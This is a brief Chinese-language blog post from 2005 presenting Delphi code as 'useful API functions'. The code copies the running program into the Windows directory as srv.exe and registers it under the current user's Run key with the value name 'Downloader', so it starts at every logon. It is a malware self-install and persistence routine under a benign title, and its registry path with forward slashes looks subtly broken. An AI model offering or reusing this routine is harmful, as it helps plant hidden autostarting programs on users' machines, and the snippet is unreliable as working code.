[Delphi]几个很有用的API函数

[Delphi]几个很有用的API函数
猪猪 发表于 2005-10-14 9:53:00 
　
//取得windows目录c:/winnt 获 c:/windows
GetWindowsDirectory(buffer,MAX_PATH);

//连接成字符串c:/windows/srv.exe
lstrcat(buffer,'/srv.exe');

//取得程序路径
GetModuleFileName(hInstance,cmd,MAX_PATH);

//复制文件从当前路径到windows目录下
CopyFile(cmd,buffer,false);

//打开注册表
RegOpenKeyEx(HKEY_CURRENT_USER,'Software/Microsoft/Windows/CurrentVersion/Run',0,KEY_ALL_ACCESS,mykey);

//写操作
RegSetValueEx(mykey,'Downloader',0,REG_SZ,@buffer,sizeof(buffer));